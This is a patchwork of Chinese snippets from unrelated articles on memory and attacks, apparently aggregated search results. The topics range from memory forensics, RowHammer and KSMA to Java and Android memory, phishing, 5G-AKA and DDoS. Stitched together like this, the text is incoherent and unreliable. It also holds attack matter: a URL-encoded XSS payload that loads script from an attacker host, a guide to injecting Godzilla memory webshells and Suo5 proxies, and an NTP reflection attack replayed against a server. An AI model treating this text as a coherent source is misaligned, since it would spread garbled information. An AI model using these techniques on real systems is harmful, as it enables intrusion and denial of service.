解题思路 斗哥根据近来做题心得以及前人经验,明白了内存取证三步曲:解析Windows/Linux/Mac OS的内存结构、分析进程等内存数据、根据题目提示寻找线索和思路,提取分析指定进程的特定内存数据。 斗哥认为暂时可以不用,只要我们在拿到内存数据文件时,能够判断该内存是哪种格式的。常见的内存文件格式有img、dmp、raw、vmem等。 知道了内存格式之后呢,就需要开始分析内存数据了,通过对应格式下的内存所在的对应的系统,我们可以使用对应的工具去进行分析。最后根据题目提示,进行针对性的去提取我们所需要的内存数据。 开源内存分析框架--Volatility 给大家介绍一下,Volatility Framwork是一款开源的基于Python开发的内存分析框架,它自带的分析插件支持分析内存镜像中所保留的历史网络连接信息 从内存中转储指定的密码hash memdump 转储出可寻址的内存数据 hivedump 打印内存中指定的注册表信息 dumpfiles 提取内存映射以及缓存文件 procdump 将进程转储到可执行文件中
KSMA的全称是Kernel Space Mirror Attack,即内核镜像攻击。本文主要记录对该攻击方法的原理分析以及Linux内核中相关内存管理部分。 扯远了,总之目前就是内存管理单元,或者说内存管理模块,实现虚拟地址到物理地址的转换。 虚拟地址被分割为5个部分,前4部分分别是4级页表的索引,也可以理解成页表的目录,最后1部分为虚拟地址对应实际物理地址页的偏移量。 ] = 0x100 index2 = bits[29:21] = 0x0 index3 = bits[20:12] = 0x175 offset = bits[11:0] = 0x770 对于KSMA攻击而言 实现 要实现KSMA攻击,首先需要初始化一个新的映射关系。指定一片未被使用的虚拟地址空间为mirror_base,令其映射到内核加载虚拟地址对应的物理地址页kernel_phys。
今天看了一篇 IT 之家关于AMD 处理器受 RowHammer 内存攻击影响的报道,心血来潮了解了一下 RowHammer 攻击的原理,把了解到的知识记录下来。 通过在一定模式下的高频率反复内存访问,攻击者可以在其原本无权访问的内存区域引发存储值的变化。这种攻击可以导致权限提升、数据泄漏和拒绝服务等安全问题。 在内存如“白菜”价的今天,不改变内存电路板面积大小的前提下,为了能存储更多的数据,只能将存储单元排列的越来越近,密度大幅度增加。虽然芯片的制程有所提升,但每个电容之间的隔离不是完全的。 这种比特翻转可以被恶意利用,攻击者可以通过精心设计的内存访问模式来控制比特翻转的位置和结果。 更何况程序在访问内存数据时,并不会直接使用内存中的真实地址,而是使用虚拟地址映射的方式进行访问。
水木番 发自 凹非寺 量子位 报道 | 公众号 QbitAI 大家肯定都知道,最近芯片的制程可谓越来越棒了,当前全球半导体最先进的制程已经发展到5nm了。 研究人员发现了一种“半双工”的新型Rowhammer攻击技术(下文简称“R攻击”),它可以通过操纵计算机内存芯片DRAM (动态随机存取存储器)中的电荷来破坏或泄露数据。 ? 提到这种R攻击的问题,还得从技术上说起。 R攻击技术原理 其实,2014年的一篇论文就在当时主流的DDR3内存中就首次讨论了R攻击的可能性。 由于被攻击的单元格的值发生了变化,它导致相邻行的数据也发生变化。 这意味着在理论上,攻击者可以改变内存中任何比特的值,通过翻转足够多的比特,攻击者甚至可以操纵目标系统。 这是因为又有了一些新变化: 目前的R攻击技术主要采用了“半双工”技术。 此前通过重复访问一个内存地址,只可以访问相邻行的 DRAM 地址。
虽然在过去几年针对银行的攻击手段变得更加复杂,但绝大多数攻击依旧依赖于用户欺骗。例如,针对银行的一种常见网络钓鱼攻击,就是将目标定向到恶意克隆的银行网站。 这一切都是为了引导用户犯错,而网络钓鱼还只是电子银行时代应该防范的攻击之一。以下介绍了黑客通过用户攻击银行的五种方式: SMS swaps攻击 短信诈骗在银行业已经非常普遍。 MITM攻击/中间人攻击 Man In-The-Middle(MITM)攻击由来已久,但非常有效,攻击者瞄准的是基础设施没有被充分保护的银行平台。 这种攻击通常用于攻击者所熟悉的组织,攻击者利用内部了解针对特定的负责付款的员工发起攻击。比如,他们可能会向会计发送一封电子邮件,表明是CFO要求他们支付一笔看似正常的款项。 以上这些攻击操作都依赖于最终的用户令牌,而银行如果MFA控件到位,攻击者将无法拿到这些令牌!
前言 昨天在Github闲逛时看到@1ucky7师傅发了的一个哥斯拉内存马、Suo5内存代理的插件。这篇文章我们就来简单记录下这个插件的使用方法以及在测试过程中遇到的一些问题和注意事项。 插件简介 之前写了一个注入suo5的哥斯拉插件,在改装其他中间件的时候遇到一些问题,后面看到@pen4uin师傅写了一个生成各种马以及suo5代理的工具,于是直接给哥斯拉加了一个接口执行代码,方便注入其他管理工具内存马 ,或注入内存代理。 5. 这时在FilterShell功能模块里就能看到我们刚注入进去的内存马和Suo5内存代理。 6. 现在我们已经可以直接去连接哥斯拉的这个内存马和Suo5内存代理了,如下图所示。 ; Suo5连接时得注意在高级配置里设置一下对应的请求头;
HTML5 是下一代的HTML,HTML5赋予网页更好的意义和结构。更加丰富的标签将随着对RDFa的,微数据与微格式等方面的支持,构建对程序、对用户都更有价值的数据驱动的Web。 基于HTML5开发的网页APP拥有更短的启动时间,更快的联网速度。本文详细介绍了HTML5的普及,带来的新的安全威胁。 利用跨站脚本攻击或浏览器地址栏注入javascript以后,Shell of the Future可进行劫持会话。 txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E 7、当用户点击之后,攻击者的IP地址将会发送给攻击者 5、该javascript代码会发送一个XMLHttpRequest请求。 6、分析返回的数据包,并把它发送到攻击者的服务器。 7、攻击者获取到公司内部站点的相关信息。
攻击者由安装有XAMPP服务器的桥接虚拟机表示,IP为192.168.1.154。 攻击者可以访问本目录的demo_html.appcache获得缓存文件,在同名文件加入自己的恶意代码(这里是弹出hacked对话框),利用DNS欺骗、中间人等方式,这里将HOSTS文件更改为192.168.1.154 接下来,修改HOSTS文件为192.168.1.113 www.cache-test.com,模拟用户已经回到了安全的上网环境下,当用户再次访问该合法网站时,仍然出现的是上述攻击者的页面。 通过Wireshark抓包可以看到,浏览器仅仅请求了demo_html.appcache,离线缓存攻击成功。注意在实验时需要排除浏览器本身缓存的影响,仅仅刷新页面会收到服务器返回的304响应。 由于时间有限,并没有用爬虫去找使用了HTML5离线缓存的网站,仅仅做了这种攻击的验证实验,若有大家可以推荐几个来测试。 主页htm: <!
JMM 规范规定所有变量都存储在主内存中 读写过程 线程 A 先从主内存中读取到一个共享变量到自己的线程域内存中,作为本地共享变量的副本 在本地线程域内存对本地共享变量进行修改 将修改后的数据写回到主内存中 (又称为栈空间) 工作内存是每个线程的私有数据区 Java 内存模型规定所有的变量均存储在主内存中 主内存是共享内存区域,所有线程均可访问 线程对于变量的操作须在工作内存中进行 首先将主内存的变量复制到工作内存中 JMM 中,如果一个操作执行的结果需要对另一个操作可见,或是代码重排序 则两个操作之间必须存在 happens-before(先行发生原则),逻辑上的先后关系 x,y 的 case 说明 x=5 线程 A 执行 y=x 线程 B 执行 上述称之为:写后续 y 是否等于 5 呢? 如果线程 A 的操作(x=5)happens-before 线程 B 的操作(y=x),那么可以确定线程 B 执行后 y=5 必定成立 若不存在 heppens-before 原则,则 y=5 不一定成立
内存管理 ---- 无论当前环境是ARC还是MRC,只要block没有访问外部变量,block始终在全局区 MRC情况下 block如果访问外部变量,block在栈里 不能对block使用retain,
现代攻击者已经有组织的 从用户及其系统破坏,转向更容易的目标。网络钓鱼,比如黑客攻击活动,将伪装成合法流量的欺诈性电子邮件发送,是主要技术。 当这封邮件看起来是来自朋友或高层管理人员的时候,员工更自然地会信任它,并被钓鱼攻击吸引住。毕竟,谁会对老板说“不”? 相关:每个企业家都需要了解的7层网络安全层 这些攻击的总成本是数十亿美元。 他们的前线角色和特权关系鼓励攻击者将他们视为可以放弃王国钥匙的无障碍目标。对助理的攻击通常以另一位执行官的请求的形式出现,通常要求审查附件或发送财务信息。 5.任何员工 事实的真相是,大规模的网络钓鱼攻击和以往一样流行。在你的公司里,从首席执行官到入门级助理,任何人都可能成为网络钓鱼攻击的对象。 拥有响应可疑电子邮件的安全策略和公司范围的备份策略也可以降低攻击风险。 了解这些用户以及攻击者可能使用的诱饵使得安全意识和教育更具针对性,有趣和有效。
5月11日晚上9时许,网易的大量用户发现访问网易新闻出现问题,相应的,有很多游戏用户报告说游戏掉线严重。一时间,有关“网易大楼着火”的谣传甚嚣。 图1 网易新闻客户端微博内容 这次攻击,相较于以往的DDoS攻击,官方描述比较特别:“骨干网络遭受攻击”。笔者敏锐地意识到这是最近学术界才提出的LFA攻击,攻击范例比较少。 新型的DDoS攻击:Link Flooding Attack(链路洪泛攻击) LFA,可以认为是一种新型的DDoS攻击,全称Link Flooding Attack(链路洪泛攻击)。 根据LFA的一次攻击实例,笔者推测,攻击者可能攻击了网易机房的上层交换节点或其他类似机构(甚至可能是IXP,ISP之间的交换节点)。 总结起来,LFA的攻击具有如下特点: 1.低密度流量攻击,难以检测 2.攻击成本低 3.持续久,攻击者可以不停切换攻击link 短期内解决这个问题的关键是负载均衡、加大带宽、增加链路,深层次地看,我们应该重新考虑改进我们网络的基础架构了
然而,5G-AKA很容易受到来自主动攻击者的链接攻击,使用户的隐私处于危险之中。 5G-AKA协议在隐私保护方面易受链接攻击的缺陷,提出了一种基于密钥封装机制的5G-AKA改进方法来保护隐私,同时兼容现有5G标准,能够在不更换用户SIM卡、保持现有的5G服务网络部署的基础上抵御链接攻击 攻击者不仅可以跟踪高价值的目标用户,还可以获取到5G AKA会话中的SUPI,严重威胁到了5G系统的安全性。 目前在5G-AKA中已经发现了三种类型的链接攻击[2]。 如何使5G-AKA抵御链接攻击 本章主要根据5G-AKA协议遭受链接攻击的根本原因,提出了一些改进建议,使用户隐私在面对主动攻击者的链接攻击时可以得到更好的保护,在对5G-AKA协议修改做到最小的同时, 总结 本文首先介绍了5G-AKA的认证流程及其可能面临的链接攻击,然后分析了5G-AKA协议中链接攻击形成的根本原因,最后针对链接攻击介绍了5G-AKA协议的改进方法。
前面已经分析了内存管理框架的构建实现过程,有部分内容未完全呈现出来,这里主要做个补充。 如下图,这是前面已经看到过的linux物理内存管理框架的层次关系。 ? ,包括内存空洞的总的物理页面大小; int node_id; ——pg_data_t对应的索引号,非NUMA架构下该值为0; nodemask_t reclaim_nodes; ——用于记录可回收的内存管理节点 内存分配过程中,当空闲页面达到low时,内存分配器会唤醒kswapd守护进程来回收物理页面;当空闲页面达到min时,内存分配器就会唤醒kswapd以同步方式回收;如果kswapd被唤醒后,空闲页面达到high ,包括内存空洞的页面数,实则上是管理区末尾页面号和起始页面号的差值; unsigned long present_pages; ——除去内存空洞后的内存管理区实际有效的总页面数; unsigned long managed_pages; ——用于记录被内存管理算法管理的物理页面数,这是除去了在初始化阶段被申请的页面; int nr_migrate_reserve_block; ——用于优化的,记录内存迁移保留的页面数
经过昨天的测试,发现使用离线缓存的网站会被攻击。但是,不使用离线缓存的网站就真的不会受到这样的攻击么? (很郁闷相同的操作为啥有时候结果不一样,不过大部分还是造成了离线缓存攻击的效果。) 但是,百度也有https的版本,若访问https攻击实验就不会成功。 ? 既然百度可以,那么支付宝的页面呢? 不知道使用https进行离线缓存攻击会不会成功。 ? 除了百度和支付宝,还用网易的126.com做了实验。 个人认为,对于类似百度网站这样的服务器设置,会导致缓存攻击成功,感觉是浏览器实现时的一个bug。如果支付宝https能被离线缓存攻击,那么危害性还是很大的。
它执行一个不起眼的加密技术被称为前缀碰撞攻击。另外它还可以将自己从被感染的计算机自动删除并毁灭它的所有痕迹。 火焰在头五年时间里伪装成Microsoft软件更新,直到后来偶然的一次机会才在伊朗被发现。 5、 只针对伊朗核电厂的Stuxnet病毒 正如我们前面提到的第一项,事实证明,除了虚拟世界的东西,黑客同样会可以毁灭现实中的物体。
JavaScript 不提供任何内存管理操作。相反,内存由 JavaScript VM 通过内存回收过程管理,该过程称为垃圾收集。 既然我们不能强制的垃圾回收,那我们怎么知道它能正常工作? 如果我们一不小心,可能会产生一些内存泄漏。 什么是内存泄漏? 内存泄漏是软件无法回收的已分配的内存块。 Javascript 提供了一个垃圾收集程序,但这并不意味着我们就能避免内存泄漏。 这就是所谓的无意识的内存保持。 泄露内存可能会导致垃圾收集器更频繁地运行。 当从全局作用域调用时,this 是未定义的 如果没有在一个变量上指定const | let | var,你会得到以下错误: Uncaught ReferenceError: b is not defined 5. 总结 在这篇文章中,我们已经看到了最常见的内存泄露方式。很明显,JavaScript本身并没有泄漏内存。相反,它是由开发者方面无意的内存保持造成的。
“每次切屏都卡顿3秒”“后台默默吃掉500MB内存”——这些性能灾难的罪魁祸首,往往藏在你最熟悉的Handler里! Handler作为Android消息机制的核心组件,非静态内部类、延迟消息、同步屏障等设计细节稍有不慎就会引发内存泄漏。 今天我们从MessageQueue的底层机制切入,深度剖析5大高频泄漏场景,让你的App性能飙升300%! 一、内存泄漏的“死亡三角” 任何内存泄漏都离不开三个要素(面试必考黄金法则): 1. 长生命周期对象持有短周期对象引用(如Looper持有Handler) 2. Native层与Java层的交叉引用(nativePollOnce阻塞导致Activity无法回收) 二、5大高频泄漏场景与破解之道 场景1:匿名内部类Handler(新手坟场) 泄漏原理: //
0×01 故事起因 前两天以为freebuf上的网友stream(年龄、性别不详)私信我说他在阿里云上的服务器被NTP攻击了,流量超过10G,希望我帮忙一起分析一下,复现一下攻击。 我这当代雷锋当然非常乐意了,于是我就和stream联系(勾搭)上了,今天我就详细讲一下我们一起复现NTP反射攻击的过程。 bit加上,这块对咱们没用 第三四五个bit时表示版本的,现在常用第二版,所以这里是010 剩下三个bit是模式,0未定义、1表示主动对等体模式、2表示被动对等体模式、3表示客户模式、4表示服务器模式、5表示广播模式或组播模式 然后我修改了上次发的那个攻击脚本,把NTP的payload加了180个00,做了一下测试,攻击了一下stream的阿里云服务器 ? 看看攻击效果 ? 能打出2.2G的峰值,但是跟攻击者的10G 20G差很多,可能是我带宽的原因,当然也可能是攻击脚本不完美,日后还需要继续改进才行。
最近我就接到一个粉丝咨询,说他想处理一个公共数据集,只有8个原位肿瘤+3个转移肿瘤的10X单细胞转录组样品,但是数据处理的过程发现系统提示说需要5Tb内存,虽然说他自己有一个512G内存的服务器,但是也承受不起 5Tb内存,问我有没有渠道! 额,给他配置一个5Tb内存服务器倒是简单,我自己就有2.5T内存的服务器,不就是加倍嘛!不过,我注意到他就是11个10X转录组样品,理论上不可能是需要5Tb内存的,所以让他把代码发过来我检查看看. and 8000 genes pbmc <- subset(pbmc, subset = nFeature_RNA > 200 & nFeature_RNA < 2500 & percent.mt < 5) 太有意思了,为什么我想讲解这个故事呢,因为在很多交流群都看到有粉丝问内存不够,实际上很多情况下,内存不够是因为你代码学的很差。 如果你连512G内存都没有呢? 临时使用的话,可以考虑我们的共享云哦!